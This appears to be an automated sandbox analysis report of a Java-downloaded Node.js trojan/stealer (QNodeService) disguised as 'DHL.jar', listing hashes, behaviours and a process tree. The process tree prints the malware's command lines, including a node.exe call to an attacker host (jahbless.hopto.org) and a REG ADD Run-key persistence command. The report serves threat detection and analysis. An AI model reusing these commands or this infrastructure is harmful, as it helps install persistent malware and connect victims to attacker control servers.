Analysis
-
max time kernel
148s -
max time network
129s -
platform
windows10_x64 -
resource
win10 -
submitted
14-10-2020 16:24
Static task
static1
Behavioral task
behavioral1
Sample
DHL.jar
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
DHL.jar
Resource
win10
windows10_x64
0 signatures
0 seconds
General
-
Target
DHL.jar
-
Size
103KB
-
MD5
681bbe7088c5ab72967e9d1b3a45de83
-
SHA1
ac74a19ce1612952dae1bc40a5e726f4671d550a
-
SHA256
d858a274f48d62d710ec65a7022a5adc6461b09dd42d5c075b3525cce845036c
-
SHA512
96b5e6b28bd94c2c4ab8efde121e45336faf5cf6d3d6772d354c75b1dddf24426f36a0d73de388184e71190d331acb20d9684d9f03b14ec7ebf42755413bbe5a
Score
10/10
Malware Config
Signatures
-
QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
-
Executes dropped EXE 3 IoCs
pid Process 2180 node.exe 1364 node.exe 3144 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\a728b905-d7ba-4c7c-863c-2e9d38b65d84 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe -
JavaScript code in executable 3 IoCs
resource yara_rule behavioral2/files/0x000100000001adad-168.dat js behavioral2/files/0x000100000001adad-172.dat js behavioral2/files/0x000100000001adad-176.dat js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 20 wtfismyip.com 21 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 2180 node.exe 2180 node.exe 2180 node.exe 2180 node.exe 1364 node.exe 1364 node.exe 1364 node.exe 1364 node.exe 3144 node.exe 3144 node.exe 3144 node.exe 3144 node.exe 3144 node.exe 3144 node.exe 3144 node.exe 3144 node.exe 3144 node.exe 3144 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 3828 wrote to memory of 2240 3828 java.exe 76 PID 3828 wrote to memory of 2240 3828 java.exe 76 PID 2240 wrote to memory of 2180 2240 javaw.exe 78 PID 2240 wrote to memory of 2180 2240 javaw.exe 78 PID 2180 wrote to memory of 1364 2180 node.exe 80 PID 2180 wrote to memory of 1364 2180 node.exe 80 PID 1364 wrote to memory of 3144 1364 node.exe 81 PID 1364 wrote to memory of 3144 1364 node.exe 81 PID 3144 wrote to memory of 1228 3144 node.exe 83 PID 3144 wrote to memory of 1228 3144 node.exe 83 PID 1228 wrote to memory of 3600 1228 cmd.exe 84 PID 1228 wrote to memory of 3600 1228 cmd.exe 84
Processes
-
C:\ProgramData\Oracle\Java\javapath\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\DHL.jar1⤵
- Suspicious use of WriteProcessMemory
PID:3828 -
C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\2feca94e.tmp2⤵
- Suspicious use of WriteProcessMemory
PID:2240 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain jahbless.hopto.org --hub-domain localhost3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2180 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Gju2jC\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1364 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Gju2jC\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3144 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a728b905-d7ba-4c7c-863c-2e9d38b65d84" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
PID:1228 -
C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a728b905-d7ba-4c7c-863c-2e9d38b65d84" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
PID:3600
-
-
-
-
-
-